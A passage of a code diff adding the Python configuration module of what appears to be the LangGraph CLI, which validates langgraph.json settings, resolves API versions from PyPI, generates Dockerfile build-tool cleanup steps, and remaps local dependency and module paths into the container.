+RUN PYTHONDONTWRITEBYTECODE=1 {install_cmd} --no-cache-dir --no-deps -e /api
+# -- End of ensuring user deps didn't inadvertently overwrite langgraph-api --
+# -- Removing build deps from the final image ~<:===~~~ --"""
+    ]
+    if to_uninstall:
+        for pack in to_uninstall:
+            if pack not in _BUILD_TOOLS:
+                raise ValueError(
+                    f"Invalid build tool: {pack}; must be one of {', '.join(_BUILD_TOOLS)}"
+                )
+        packs_str = " ".join(sorted(to_uninstall))
+        commands.append(f"RUN pip uninstall -y {packs_str}")
+        # Ensure the directories are removed entirely
+        packages_rm = " ".join(
+            f"/usr/local/lib/python*/site-packages/{pack}*" for pack in to_uninstall
+        )
+        if "pip" in to_uninstall:
+            packages_rm += ' && find /usr/local/bin -name "pip*" -delete || true'
+        commands.append(f"RUN rm -rf {packages_rm}")
+        wolfi_packages_rm = " ".join(
+            f"/usr/lib/python*/site-packages/{pack}*" for pack in to_uninstall
+        )
+        if "pip" in to_uninstall:
+            wolfi_packages_rm += ' && find /usr/bin -name "pip*" -delete || true'
+        commands.append(f"RUN rm -rf {wolfi_packages_rm}")
+        if pip_installer == "uv":
+            commands.append(
+                f"RUN uv pip uninstall --system {packs_str} && rm /usr/bin/uv /usr/bin/uvx"
+            )
+    else:
+        if pip_installer == "uv":
+            commands.append(
+                "RUN rm /usr/bin/uv /usr/bin/uvx\n# -- End of build deps removal --"
+            )
+    return "\n".join(commands)
+
+
+def _parse_version(version_str: str) -> tuple[int, int]:
+    """Parse a version string into a tuple of (major, minor)."""
+    try:
+        major, minor = map(int, version_str.split("-")[0].split("."))
+        return (major, minor)
+    except ValueError:
+        raise click.UsageError(f"Invalid version format: {version_str}") from None
+
+
+def _parse_node_version(version_str: str) -> int:
+    """Parse a Node.js version string into a major version number."""
+    try:
+        if "." in version_str:
+            raise ValueError("Node.js version must be major version only")
+        return int(version_str)
+    except ValueError:
+        raise click.UsageError(
+            f"Invalid Node.js version format: {version_str}. "
+            "Use major version only (e.g., '20')."
+        ) from None
+
+
+def _parse_api_version_parts(version_str: str) -> tuple[int, ...]:
+    """Parse an API version into numeric components.
+
+    Supports optional prerelease suffixes, e.g. `0.9.0rc1`.
+    """
+    version_core = version_str.split("-", 1)[0]
+    match = _API_VERSION_PATTERN.fullmatch(version_core)
+    if not match:
+        raise ValueError("Version must be major or major.minor or major.minor.patch.")
+    return tuple(int(part) for part in match.groups() if part is not None)
+
+
+def _parse_api_version(version_str: str) -> _ParsedApiVersion:
+    match = _API_VERSION_PART_PATTERN.fullmatch(version_str)
+    if not match:
+        raise ValueError("Version must be major or major.minor or major.minor.patch.")
+    release = tuple(
+        int(part)
+        for part in (
+            match.group("major"),
+            match.group("minor"),
+            match.group("patch"),
+        )
+        if part is not None
+    )
+    prerelease = match.group("pre")
+    prerelease_number = int(match.group("pre_n") or 0)
+    return _ParsedApiVersion(release, prerelease, prerelease_number)
+
+
+def _api_version_sort_key(
+    version: _ParsedApiVersion,
+) -> tuple[tuple[int, ...], int, int]:
+    return (
+        version.release,
+        _PRERELEASE_ORDER[version.prerelease],
+        version.prerelease_number,
+    )
+
+
+def _api_version_upper_bound(version: _ParsedApiVersion) -> tuple[int, ...]:
+    release = version.release
+    if len(release) <= 2:
+        return (release[0] + 1,)
+    return (release[0], release[1] + 1)
+
+
+def _is_compatible_api_version_candidate(
+    candidate: _ParsedApiVersion,
+    version_range: _ApiVersionRange,
+    upper_bound: tuple[int, ...],
+) -> bool:
+    floor = version_range.floor
+    if _api_version_sort_key(candidate) < _api_version_sort_key(floor):
+        return False
+    outside_compatible_range = candidate.release[: len(upper_bound)] >= upper_bound
+    if outside_compatible_range and not version_range.allow_future_stable:
+        return False
+    if outside_compatible_range and candidate.prerelease is not None:
+        return False
+    if floor.prerelease == "dev" and candidate.prerelease == "dev":
+        return candidate == floor
+    return True
+
+
+def _ensure_compatible_api_version_base_image(base_image: str) -> None:
+    if ":" in base_image:
+        raise click.UsageError(
+            "Compatible api_version ranges cannot be used with a tagged base_image."
+        )
+
+
+def _get_pypi_versions(package_name: str) -> list[str]:
+    try:
+        response = httpx.get(
+            f"https://pypi.org/pypi/{package_name}/json",
+            timeout=10,
+        )
+        response.raise_for_status()
+    except httpx.HTTPError as exc:
+        raise click.UsageError(
+            f"Failed to fetch PyPI versions for {package_name}: {exc}"
+        ) from None
+    payload = response.json()
+    releases = payload.get("releases", {})
+    if not isinstance(releases, dict):
+        raise click.UsageError(
+            f"Failed to fetch PyPI versions for {package_name}: invalid response."
+        )
+    return [version for version in releases if isinstance(version, str)]
+
+
+def _resolve_compatible_api_version(
+    api_version: str,
+    base_image: str,
+    version_distro_tag: str,
+) -> str:
+    match = _API_VERSION_RANGE_PATTERN.fullmatch(api_version)
+    if not match:
+        return api_version
+
+    floor_str = match.group("version").strip()
+    try:
+        floor = _parse_api_version(floor_str)
+    except ValueError:
+        raise click.UsageError(
+            f"Invalid compatible api_version range: {api_version}.\n\n"
+            "Use a compatible version range, e.g.:\n"
+            '  "api_version": "~=0.11.0.dev5"\n'
+            "or a stable-floating range, e.g.:\n"
+            '  "api_version": ">~=0.11.0.dev5"'
+        ) from None
+
+    version_range = _ApiVersionRange(
+        floor=floor,
+        allow_future_stable=match.group("operator") == ">~=",
+    )
+    _ensure_compatible_api_version_base_image(base_image)
+    pypi_versions = _get_pypi_versions("langgraph-api")
+
+    candidates: list[tuple[_ParsedApiVersion, str]] = []
+    upper_bound = _api_version_upper_bound(floor)
+    for candidate_str in pypi_versions:
+        try:
+            candidate = _parse_api_version(candidate_str)
+        except ValueError:
+            continue
+        if _is_compatible_api_version_candidate(candidate, version_range, upper_bound):
+            candidates.append((candidate, candidate_str))
+
+    if not candidates:
+        raise click.UsageError(
+            f"No PyPI releases match compatible api_version range {api_version!r} "
+            f"for {base_image} with {version_distro_tag!r}."
+        )
+
+    return max(candidates, key=lambda item: _api_version_sort_key(item[0]))[1]
+
+
+def _is_node_graph(spec: str | dict) -> bool:
+    """Check if a graph is a Node.js graph based on the file extension."""
+    if isinstance(spec, dict):
+        spec = spec.get("path")
+
+    file_path = spec.split(":")[0]
+    file_ext = os.path.splitext(file_path)[1]
+
+    return file_ext in [
+        ".ts",
+        ".mts",
+        ".cts",
+        ".js",
+        ".mjs",
+        ".cjs",
+    ]
+
+
+def _get_source_kind(config: Config) -> str | None:
+    source = config.get("source")
+    if not isinstance(source, dict):
+        return None
+    kind = source.get("kind")
+    return kind if isinstance(kind, str) else None
+
+
+def validate_config(config: Config) -> Config:
+    """Validate a configuration dictionary."""
+
+    graphs = config.get("graphs", {})
+
+    some_node = any(_is_node_graph(spec) for spec in graphs.values())
+    some_python = any(not _is_node_graph(spec) for spec in graphs.values())
+
+    node_version = config.get(
+        "node_version", DEFAULT_NODE_VERSION if some_node else None
+    )
+    python_version = config.get(
+        "python_version", DEFAULT_PYTHON_VERSION if some_python else None
+    )
+
+    image_distro = config.get("image_distro", DEFAULT_IMAGE_DISTRO)
+    internal_docker_tag = config.get("_INTERNAL_docker_tag")
+    api_version = config.get("api_version")
+    legacy_project_root = config.get("project_root")
+    legacy_package = config.get("package")
+    if internal_docker_tag:
+        if api_version:
+            raise click.UsageError(
+                "Cannot specify both _INTERNAL_docker_tag and api_version."
+            )
+    if api_version:
+        try:
+            compatible_match = _API_VERSION_RANGE_PATTERN.fullmatch(api_version)
+            parts = _parse_api_version_parts(
+                compatible_match.group("version").strip()
+                if compatible_match
+                else api_version
+            )
+            if len(parts) > 3:
+                raise ValueError(
+                    "Version must be major or major.minor or major.minor.patch."
+                )
+        except (TypeError, ValueError):
+            raise click.UsageError(
+                f"Invalid version format: {api_version}.\n\n"
+                "Pin to a minor version, e.g.:\n"
+                '  "api_version": "0.8"'
+            ) from None
+
+    config = {
+        "node_version": node_version,
+        "python_version": python_version,
+        "pip_config_file": config.get("pip_config_file"),
+        "pip_installer": config.get("pip_installer", "auto"),
+        "source": config.get("source"),
+        "base_image": config.get("base_image"),
+        "image_distro": image_distro,
+        "dependencies": config.get("dependencies", []),
+        "dockerfile_lines": config.get("dockerfile_lines", []),
+        "graphs": config.get("graphs", {}),
+        "env": config.get("env", {}),
+        "store": config.get("store"),
+        "auth": config.get("auth"),
+        "encryption": config.get("encryption"),
+        "http": config.get("http"),
+        # Pass through webhooks config so it can be injected into the image
+        "webhooks": config.get("webhooks"),
+        "checkpointer": config.get("checkpointer"),
+        "ui": config.get("ui"),
+        "ui_config": config.get("ui_config"),
+        "keep_pkg_tools": config.get("keep_pkg_tools"),
+    }
+    if internal_docker_tag:
+        config["_INTERNAL_docker_tag"] = internal_docker_tag
+    if api_version:
+        config["api_version"] = api_version
+
+    if config.get("node_version"):
+        node_version = config["node_version"]
+        try:
+            major = _parse_node_version(node_version)
+            min_major = _parse_node_version(MIN_NODE_VERSION)
+            if major < min_major:
+                raise click.UsageError(
+                    f"Node.js version {node_version} is not supported. "
+                    f"Minimum required version is {MIN_NODE_VERSION}.\n\n"
+                    f"Set node_version to {MIN_NODE_VERSION} or higher:\n"
+                    f'  "node_version": "{MIN_NODE_VERSION}"'
+                )
+        except ValueError as e:
+            raise click.UsageError(str(e)) from None
+
+    if pip_installer := config.get("pip_installer"):
+        if pip_installer not in ["auto", "pip", "uv"]:
+            raise click.UsageError(
+                f"Invalid pip_installer: '{pip_installer}'. "
+                "Consider using uv-based source management instead:\n\n"
+                '  "source": {"kind": "uv", "root": ".."}'
+            )
+
+    source = config.get("source")
+    source_kind = _get_source_kind(config)
+    if source is not None and not isinstance(source, dict):
+        raise click.UsageError(
+            "`source` must be an object, e.g.:\n"
+            '  "source": {"kind": "uv", "root": ".."}'
+        )
+    if source is not None and source_kind != "uv":
+        raise click.UsageError(
+            "Invalid source.kind. The only supported value is 'uv':\n"
+            '  "source": {"kind": "uv", "root": ".."}'
+        )
+
+    if config.get("python_version"):
+        pyversion = config["python_version"]
+        if not pyversion.count(".") == 1 or not all(
+            part.isdigit() for part in pyversion.split("-")[0].split(".")
+        ):
+            parts = pyversion.split("-")[0].split(".")
+            fix = f"{parts[0]}.{parts[1]}" if len(parts) >= 2 else MIN_PYTHON_VERSION
+            raise click.UsageError(
+                f"Invalid Python version format: {pyversion}. "
+                "Use 'major.minor' format — patch version cannot be specified.\n\n"
+                f'  "python_version": "{fix}"'
+            )
+        if _parse_version(pyversion) < _parse_version(MIN_PYTHON_VERSION):
+            raise click.UsageError(
+                f"Python version {pyversion} is not supported. "
+                f"Minimum required version is {MIN_PYTHON_VERSION}.\n\n"
+                f'  "python_version": "{MIN_PYTHON_VERSION}"'
+            )
+        if "bullseye" in pyversion:
+            raise click.UsageError(
+                "Bullseye images were deprecated in version 0.4.13. "
+                "Please use 'bookworm' or 'debian' instead."
+            )
+
+        if source_kind != "uv" and not config["dependencies"]:
+            raise click.UsageError(
+                "No dependencies found in config. "
+                "Consider using uv-based source management:\n\n"
+                '  "source": {"kind": "uv", "root": ".."}'
+            )
+
+    if not config.get("graphs"):
+        raise click.UsageError(
+            "No graphs found in config. Add at least one graph, e.g.:\n"
+            '  "graphs": {\n'
+            '    "agent": "./my_agent/graph.py:graph"\n'
+            "  }"
+        )
+
+    # Validate image_distro config
+    if image_distro := config.get("image_distro"):
+        if image_distro == "bullseye":
+            raise click.UsageError(
+                "Bullseye images were deprecated in version 0.4.13. "
+                "Please use 'bookworm' or 'debian' instead."
+            )
+        if image_distro not in Distros.__args__:
+            raise click.UsageError(
+                f"Invalid image_distro: '{image_distro}'. "
+                f"Must be one of: {', '.join(repr(d) for d in Distros.__args__)}.\n\n"
+                '  "image_distro": "wolfi"  (recommended)'
+            )
+
+    if source_kind == "uv":
+        errors: list[str] = []
+        if not config.get("python_version"):
+            errors.append(
+                "source.kind 'uv' requires `python_version` — "
+                "it is a Python-only deployment mode. "
+                "Node.js-only graphs are not supported."
+            )
+        if config["dependencies"]:
+            errors.append(
+                "Remove `dependencies` from your config. With "
+                '`source.kind = "uv"`, all dependencies '
+                "are read from your pyproject.toml and uv.lock instead."
+            )
+        root = source.get("root", ".") if source else "."
+        if not isinstance(root, str):
+            errors.append(f"`source.root` must be a string, got {type(root).__name__}.")
+        elif not root.strip():
+            errors.append('`source.root` must be a non-empty string. Use `"."`.')
+        package_name = source.get("package") if source else None
+        if package_name is not None and (
+            not isinstance(package_name, str) or not package_name.strip()
+        ):
+            errors.append("`source.package` must be a non-empty string.")
+        if errors:
+            detail = "\n".join(f"  - {e}" for e in errors)
+            raise click.UsageError(
+                "source.kind 'uv' requires a different "
+                f"config shape than dependency-based installs:\n{detail}"
+            )
+
+    if legacy_project_root or legacy_package:
+        raise click.UsageError(
+            "Top-level `project_root` and `package` are no longer supported. "
+            "Use `source.root` and `source.package` instead."
+        )
+
+    # Validate auth config
+    if auth_conf := config.get("auth"):
+        if "path" in auth_conf:
+            if ":" not in auth_conf["path"]:
+                raise ValueError(
+                    f"Invalid auth.path format: '{auth_conf['path']}'. "
+                    "Must be in format './path/to/file.py:attribute_name'"
+                )
+    # Validate encryption config
+    if encryption_conf := config.get("encryption"):
+        if "path" in encryption_conf:
+            if ":" not in encryption_conf["path"]:
+                raise ValueError(
+                    f"Invalid encryption.path format: '{encryption_conf['path']}'. "
+                    "Must be in format './path/to/file.py:attribute_name'"
+                )
+    if http_conf := config.get("http"):
+        if "app" in http_conf:
+            if ":" not in http_conf["app"]:
+                raise ValueError(
+                    f"Invalid http.app format: '{http_conf['app']}'. "
+                    "Must be in format './path/to/file.py:attribute_name'"
+                )
+    if keep_pkg_tools := config.get("keep_pkg_tools"):
+        if isinstance(keep_pkg_tools, list):
+            for tool in keep_pkg_tools:
+                if tool not in _BUILD_TOOLS:
+                    raise ValueError(
+                        f"Invalid keep_pkg_tools: '{tool}'. "
+                        "Must be one of 'pip', 'setuptools', 'wheel'."
+                    )
+        elif keep_pkg_tools is True:
+            pass
+        else:
+            raise ValueError(
+                f"Invalid keep_pkg_tools: '{keep_pkg_tools}'. "
+                "Must be bool or list[str] (with values"
+                " 'pip', 'setuptools', and/or 'wheel')."
+            )
+    return config
+
+
+# Keys recognized by validate_config (used to detect unknown fields).
+_KNOWN_CONFIG_KEYS = {
+    "python_version",
+    "node_version",
+    "api_version",
+    "base_image",
+    "image_distro",
+    "pip_config_file",
+    "pip_installer",
+    "source",
+    "dependencies",
+    "dockerfile_lines",
+    "graphs",
+    "env",
+    "store",
+    "auth",
+    "encryption",
+    "http",
+    "webhooks",
+    "checkpointer",
+    "ui",
+    "ui_config",
+    "keep_pkg_tools",
+    # Internal / legacy (still recognized, may error separately)
+    "_INTERNAL_docker_tag",
+    "project_root",
+    "package",
+}
+
+
+def get_unknown_keys(raw_config: dict) -> list[str]:
+    """Return warnings for unrecognized top-level keys (typos, etc.)."""
+    import difflib
+
+    unknown = set(raw_config) - _KNOWN_CONFIG_KEYS
+    warnings: list[str] = []
+    for key in sorted(unknown):
+        close = difflib.get_close_matches(key, _KNOWN_CONFIG_KEYS, n=1)
+        if close:
+            warnings.append(f"Unknown key '{key}' — did you mean '{close[0]}'?")
+        else:
+            warnings.append(f"Unknown key '{key}' is not a recognized config field.")
+    return warnings
+
+
+def validate_config_file(config_path: pathlib.Path) -> Config:
+    """Load and validate a configuration file."""
+    with open(config_path) as f:
+        config = json.load(f)
+    validated = validate_config(config)
+    # Enforce the package.json doesn't enforce an
+    # incompatible Node.js version
+    if validated.get("node_version"):
+        package_json_path = config_path.parent / "package.json"
+        if package_json_path.is_file():
+            try:
+                with open(package_json_path) as f:
+                    package_json = json.load(f)
+                    if "engines" in package_json:
+                        engines = package_json["engines"]
+                        if any(engine != "node" for engine in engines.keys()):
+                            raise click.UsageError(
+                                "Only 'node' engine is supported in package.json engines."
+                                f" Got engines: {list(engines.keys())}"
+                            )
+                        if engines:
+                            node_version = engines["node"]
+                            try:
+                                major = _parse_node_version(node_version)
+                                min_major = _parse_node_version(MIN_NODE_VERSION)
+                                if major < min_major:
+                                    raise click.UsageError(
+                                        f"Node.js version in package.json engines must be >= {MIN_NODE_VERSION} "
+                                        f"(major version only), got '{node_version}'. Minor/patch versions "
+                                        "(like '20.x.y') are not supported to prevent deployment issues "
+                                        "when new Node.js versions are released."
+                                    )
+                            except ValueError as e:
+                                raise click.UsageError(str(e)) from None
+
+            except json.JSONDecodeError:
+                raise click.UsageError(
+                    "Invalid package.json found in langgraph "
+                    f"config directory {package_json_path}: file is not valid JSON"
+                ) from None
+    return validated
+
+
+class LocalDeps(NamedTuple):
+    """A container for referencing and managing local Python dependencies.
+
+    A "local dependency" is any entry in the config's `dependencies` list
+    that starts with "." (dot), denoting a relative path
+    to a local directory containing Python code.
+
+    For each local dependency, the system inspects its directory to
+    determine how it should be installed inside the Docker container.
+
+    Specifically, we detect:
+
+    - **Real packages**: Directories containing a `pyproject.toml` or a `setup.py`.
+      These can be installed with pip as a regular Python package.
+    - **Faux packages**: Directories that do not include a `pyproject.toml` or
+      `setup.py` but do contain Python files and possibly an `__init__.py`. For
+      these, the code dynamically generates a minimal `pyproject.toml` in the
+      Docker image so that they can still be installed with pip.
+    - **Requirements files**: If a local dependency directory
+      has a `requirements.txt`, it is tracked so that those dependencies
+      can be installed within the Docker container before installing the local package.
+
+    Attributes:
+        pip_reqs: A list of (host_requirements_path, container_requirements_path)
+            tuples. Each entry points to a local `requirements.txt` file and where
+            it should be placed inside the Docker container before running `pip install`.
+
+        real_pkgs: A dictionary mapping a local directory path (host side) to a
+            tuple of (dependency_string, container_package_path). These directories
+            contain the necessary files (e.g., `pyproject.toml` or `setup.py`) to be
+            installed as a standard Python package with pip.
+
+        faux_pkgs: A dictionary mapping a local directory path (host side) to a
+            tuple of (dependency_string, container_package_path). For these
+            directories—called "faux packages"—the code will generate a minimal
+            `pyproject.toml` inside the Docker image. This ensures that pip
+            recognizes them as installable packages, even though they do not
+            natively include packaging metadata.
+
+        working_dir: The path inside the Docker container to use as the working
+            directory. If the local dependency `"."` is present in the config, this
+            field captures the path where that dependency will appear in the
+            container (e.g., `/deps/` or similar). Otherwise, it may be `None`.
+
+        additional_contexts: A list of paths to directories that contain local
+            dependencies in parent directories. These directories are added to the
+            Docker build context to ensure that the Dockerfile can access them.
+    """
+
+    pip_reqs: list[tuple[pathlib.Path, str]]
+    real_pkgs: dict[pathlib.Path, tuple[str, str]]
+    faux_pkgs: dict[pathlib.Path, tuple[str, str]]
+    # if . is in dependencies, use it as working_dir
+    working_dir: str | None = None
+    # if there are local dependencies in parent directories, use additional_contexts
+    additional_contexts: list[pathlib.Path] = None
+
+
+def _assemble_local_deps(config_path: pathlib.Path, config: Config) -> LocalDeps:
+    config_path = config_path.resolve()
+    # ensure reserved package names are not used
+    reserved = {
+        "src",
+        "langgraph-api",
+        "langgraph_api",
+        "langgraph",
+        "langchain-core",
+        "langchain_core",
+        "pydantic",
+        "orjson",
+        "fastapi",
+        "uvicorn",
+        "psycopg",
+        "httpx",
+        "langsmith",
+    }
+    counter = Counter()
+
+    def check_reserved(name: str, ref: str):
+        if name in reserved:
+            raise ValueError(
+                f"Package name '{name}' used in local dep '{ref}' is reserved. "
+                "Rename the directory."
+            )
+        reserved.add(name)
+
+    pip_reqs = []
+    real_pkgs = {}
+    faux_pkgs = {}
+    working_dir: str | None = None
+    additional_contexts: list[pathlib.Path] = []
+
+    for local_dep in config["dependencies"]:
+        if not local_dep.startswith("."):
+            # If the dependency is not a local path, skip it
+            continue
+
+        # Verify that the local dependency can be resolved
+        # (e.g., this would raise an informative error if a user mistyped a path).
+        resolved = (config_path.parent / local_dep).resolve()
+
+        # validate local dependency
+        if not resolved.exists():
+            raise FileNotFoundError(f"Could not find local dependency: {resolved}")
+        elif not resolved.is_dir():
+            raise NotADirectoryError(
+                f"Local dependency must be a directory: {resolved}"
+            )
+        elif resolved == config_path.parent:
+            pass
+        elif config_path.parent not in resolved.parents:
+            additional_contexts.append(resolved)
+
+        # Check for pyproject.toml or setup.py
+        # If found, treat as a real package, if not treat as a faux package.
+        # For faux packages, we'll also check for presence of requirements.txt.
+        files = os.listdir(resolved)
+        if "pyproject.toml" in files or "setup.py" in files:
+            # real package
+
+            # assign a unique folder name
+            container_name = resolved.name
+            if counter[container_name] > 0:
+                container_name += f"_{counter[container_name]}"
+            counter[container_name] += 1
+            # add to deps
+            real_pkgs[resolved] = (local_dep, container_name)
+            # set working_dir
+            if local_dep == ".":
+                working_dir = f"/deps/{container_name}"
+        else:
+            # We could not find a pyproject.toml or setup.py, so treat as a faux package
+            if any(file == "__init__.py" for file in files):
+                # flat layout
+                if "-" in resolved.name:
+                    raise ValueError(
+                        f"Package name '{resolved.name}' contains a hyphen. "
+                        "Rename the directory to use it as flat-layout package."
+                    )
+                check_reserved(resolved.name, local_dep)
+                container_path = f"/deps/outer-{resolved.name}/{resolved.name}"
+            else:
+                # src layout
+                container_path = f"/deps/outer-{resolved.name}/src"
+                for file in files:
+                    rfile = resolved / file
+                    if (
+                        rfile.is_dir()
+                        and file != "__pycache__"
+                        and not file.startswith(".")
+                    ):
+                        try:
+                            for subfile in os.listdir(rfile):
+                                if subfile.endswith(".py"):
+                                    check_reserved(file, local_dep)
+                                    break
+                        except PermissionError:
+                            pass
+            faux_pkgs[resolved] = (local_dep, container_path)
+            if local_dep == ".":
+                working_dir = container_path
+
+            # If the faux package has a requirements.txt, we'll add
+            # the path to the list of requirements to install.
+            if "requirements.txt" in files:
+                rfile = resolved / "requirements.txt"
+                pip_reqs.append(
+                    (
+                        rfile,
+                        f"{container_path}/requirements.txt",
+                    )
+                )
+
+    return LocalDeps(pip_reqs, real_pkgs, faux_pkgs, working_dir, additional_contexts)
+
+
+def _update_graph_paths(
+    config_path: pathlib.Path, config: Config, local_deps: LocalDeps
+) -> None:
+    """Remap each graph's import path to the correct in-container path.
+
+    The config may contain entries in `graphs` that look like this:
+        {
+            "my_graph": "./mygraphs/main.py:graph_function"
+        }
+    or
+        {
+            "my_graph": "./src/some_subdir/my_file.py:my_graph"
+        }
+    which indicate a local file (on the host) followed by a colon and a
+    callable/object attribute within that file.
+
+    During the Docker build, local directories are copied into special
+    `/deps/` subdirectories, so they can be installed or referenced in
+    the container. This function updates each graph's import path to
+    reflect its new location **inside** the Docker container.
+
+    Paths inside the container must be POSIX-style paths (even if
+    the host system is Windows).
+
+    Args:
+        config_path: The path to the config file (e.g. `langgraph.json`).
+        config: The validated configuration dictionary.
+        local_deps: An object containing references to local dependencies:
+            - real Python packages (with a `pyproject.toml` or `setup.py`)
+            - “faux” packages that need minimal metadata to be installable
+            - potential `requirements.txt` for local dependencies
+            - container work directory (if "." is in `dependencies`)
+
+    Raises:
+        ValueError: If the import string is not in the format `:`
+                    or if the referenced local file is not found in `dependencies`.
+        FileNotFoundError: If the local file (module) does not actually exist on disk.
+        IsADirectoryError: If `module_str` points to a directory instead of a file.
+    """
+    for graph_id, data in config["graphs"].items():
+        if isinstance(data, dict):
+            # Then we're looking for a 'path' key
+            if "path" not in data:
+                raise ValueError(
+                    f"Graph '{graph_id}' must contain a 'path' key if "
+                    f" it is a dictionary."
+                )
+            import_str = data["path"]
+        elif isinstance(data, str):
+            import_str = data
+        else:
+            raise ValueError(
+                f"Graph '{graph_id}' must be a string or a dictionary with a 'path' key."
+            )
+
+        module_str, _, attr_str = import_str.partition(":")
+        if not module_str or not attr_str:
+            message = (
+                'Import string "{import_str}" must be in format ":".'
+            )
+            raise ValueError(message.format(import_str=import_str))
+
+        # Check for either forward slash or backslash in the module string
+        # to determine if it's a file path.
+        if "/" in module_str or "\\" in module_str:
+            # Resolve the local path properly on the current OS
+            resolved = (config_path.parent / module_str).resolve()
+            if not resolved.exists():
+                raise FileNotFoundError(f"Could not find local module: {resolved}")
+            elif not resolved.is_file():
+                raise IsADirectoryError(f"Local module must be a file: {resolved}")
+            else:
+                for path in local_deps.real_pkgs:
+                    if resolved.is_relative_to(path):
+                        container_path = (
+                            pathlib.Path("/deps")
+                            / path.name
+                            / resolved.relative_to(path)
+                        )
+                        module_str = container_path.as_posix()
+                        break
+                else:
+                    for faux_pkg, (_, destpath) in local_deps.faux_pkgs.items():
+                        if resolved.is_relative_to(faux_pkg):
+                            container_subpath = resolved.relative_to(faux_pkg)
+                            # Construct the final path, ensuring POSIX style
+                            module_str = f"{destpath}/{container_subpath.as_posix()}"
+                            break
+                    else:
+                        raise ValueError(
+                            f"Module '{import_str}' not found in 'dependencies' list. "
+                            "Add its containing package to 'dependencies' list."
+                        )
+            # update the config
+            if isinstance(data, dict):
+                config["graphs"][graph_id]["path"] = f"{module_str}:{attr_str}"
+            else:
+                config["graphs"][graph_id] = f"{module_str}:{attr_str}"
+
+
+def _update_auth_path(
+    config_path: pathlib.Path, config: Config, local_deps: LocalDeps
+) -> None:
+    """Update auth.path to use Docker container paths."""
+    auth_conf = config.get("auth")
+    if not auth_conf or not (path_str := auth_conf.get("path")):
+        return
+
+    module_str, sep, attr_str = path_str.partition(":")
+    if not sep or not module_str.startswith("."):
+        return  # Already validated or absolute path
+
+    resolved = config_path.parent / module_str
+    if not resolved.exists():
+        raise FileNotFoundError(f"Auth file not found: {resolved} (from {path_str})")
+    if not resolved.is_file():
+        raise IsADirectoryError(f"Auth path must be a file: {resolved}")
+
+    # Check faux packages first (higher priority)
+    for faux_path, (_, destpath) in local_deps.faux_pkgs.items():
+        if resolved.is_relative_to(faux_path):
+            new_path = f"{destpath}/{resolved.relative_to(faux_path)}:{attr_str}"
+            auth_conf["path"] = new_path
+            return
+
+    # Check real packages
+    for real_path in local_deps.real_pkgs:
+        if resolved.is_relative_to(real_path):
+            new_path = (
+                f"/deps/{real_path.name}/{resolved.relative_to(real_path)}:{attr_str}"
+            )
+            auth_conf["path"] = new_path
+            return
+
+    raise ValueError(
+        f"Auth file '{resolved}' not covered by dependencies.\n"
+        "Add its parent directory to the 'dependencies' array in your config.\n"
+        f"Current dependencies: {config['dependencies']}"
+    )
+
+
+def _update_encryption_path(
+    config_path: pathlib.Path, config: Config, local_deps: LocalDeps
+) -> None:
+    """Update encryption.path to use Docker container paths."""
+    encryption_conf = config.get("encryption")
+    if not encryption_conf or not (path_str := encryption_conf.get("path")):
+        return
+
+    module_str, sep, attr_str = path_str.partition(":")
+    if not sep or not module_str.startswith("."):
+        return  # Already validated or absolute path
+
+    resolved = config_path.parent / module_str
+    if not resolved.exists():
+        raise FileNotFoundError(
+            f"Encryption file not found: {resolved} (from {path_str})"
+        )
+    if not resolved.is_file():
+        raise IsADirectoryError(f"Encryption path must be a file: {resolved}")
+
+    # Check faux packages first (higher priority)
+    for faux_path, (_, destpath) in local_deps.faux_pkgs.items():
+        if resolved.is_relative_to(faux_path):
+            new_path = f"{destpath}/{resolved.relative_to(faux_path)}:{attr_str}"
+            encryption_conf["path"] = new_path
+            return
+
+    # Check real packages
+    for real_path in local_deps.real_pkgs:
+        if resolved.is_relative_to(real_path):
+            new_path = (
+                f"/deps/{real_path.name}/{resolved.relative_to(real_path)}:{attr_str}"
+            )
+            encryption_conf["path"] = new_path
+            return
+
+    raise ValueError(
+        f"Encryption file '{resolved}' not covered by dependencies.\n"
+        "Add its parent directory to the 'dependencies' array in your config.\n"
+        f"Current dependencies: {config['dependencies']}"
+    )
+
+
+def _update_checkpointer_path(
+    config_path: pathlib.Path, config: Config, local_deps: LocalDeps
+) -> None:
+    """Update checkpointer.path to use Docker container paths."""
+    checkpointer_conf = config.get("checkpointer")
+    if not checkpointer_conf or not isinstance(checkpointer_conf, dict):
+        return
+    if not (path_str := checkpointer_conf.get("path")):
+        return
+
+    module_str, sep, attr_str = path_str.partition(":")
+    if not sep or not module_str.startswith("."):
+        return  # Already validated or absolute path
+
+    resolved = config_path.parent / module_str
+    if not resolved.exists():
+        raise FileNotFoundError(
+            f"Checkpointer file not found: {resolved} (from {path_str})"
+        )
+    if not resolved.is_file():
+        raise IsADirectoryError(f"Checkpointer path must be a file: {resolved}")
+
+    # Check faux packages first (higher priority)
+    for faux_path, (_, destpath) in local_deps.faux_pkgs.items():
+        if resolved.is_relative_to(faux_path):
+            new_path = f"{destpath}/{resolved.relative_to(faux_path)}:{attr_str}"
+            checkpointer_conf["path"] = new_path
+            return
+
+    # Check real packages
+    for real_path in local_deps.real_pkgs:
+        if resolved.is_relative_to(real_path):
+            new_path = (
+                f"/deps/{real_path.name}/{resolved.relative_to(real_path)}:{attr_str}"
+            )
+            checkpointer_conf["path"] = new_path
+            return
+
+    raise ValueError(
+        f"Checkpointer file '{resolved}' not covered by dependencies.\n"
+        "Add its parent directory to the 'dependencies' array in your config.\n"
+        f"Current dependencies: {config['dependencies']}"
+    )
+
+
+def _update_http_app_path(
+    config_path: pathlib.Path, config: Config, local_deps: LocalDeps
+) -> None:
+    """Update the HTTP app path to point to the correct location in the Docker container.
+
+    Similar to _update_graph_paths, this ensures that if a custom app is specified via
+    a local file path, that file is included in the Docker build context and its path
+    is updated to point to the correct location in the container.
+    """
+    if not (http_config := config.get("http")) or not (
+        app_str := http_config.get("app")
+    ):
+        return
+
+    module_str, _, attr_str = app_str.partition(":")
+    if not module_str or not attr_str:
+        message = (
+            'Import string "{import_str}" must be in format ":".'
+        )
+        raise ValueError(message.format(import_str=app_str))
+
+    # Check if it's a file path
+    if "/" in module_str or "\\" in module_str:
+        # Resolve the local path properly on the current OS
+        resolved = (config_path.parent / module_str).resolve()
+        if not resolved.exists():
+            raise FileNotFoundError(f"Could not find HTTP app module: {resolved}")
+        elif not resolved.is_file():
+            raise IsADirectoryError(f"HTTP app module must be a file: {resolved}")
+        else:
+            for path in local_deps.real_pkgs:
+                if resolved.is_relative_to(path):
+                    container_path = (
+                        pathlib.Path("/deps") / path.name / resolved.relative_to(path)
+                    )
+                    module_str = container_path.as_posix()
+                    break
+            else:
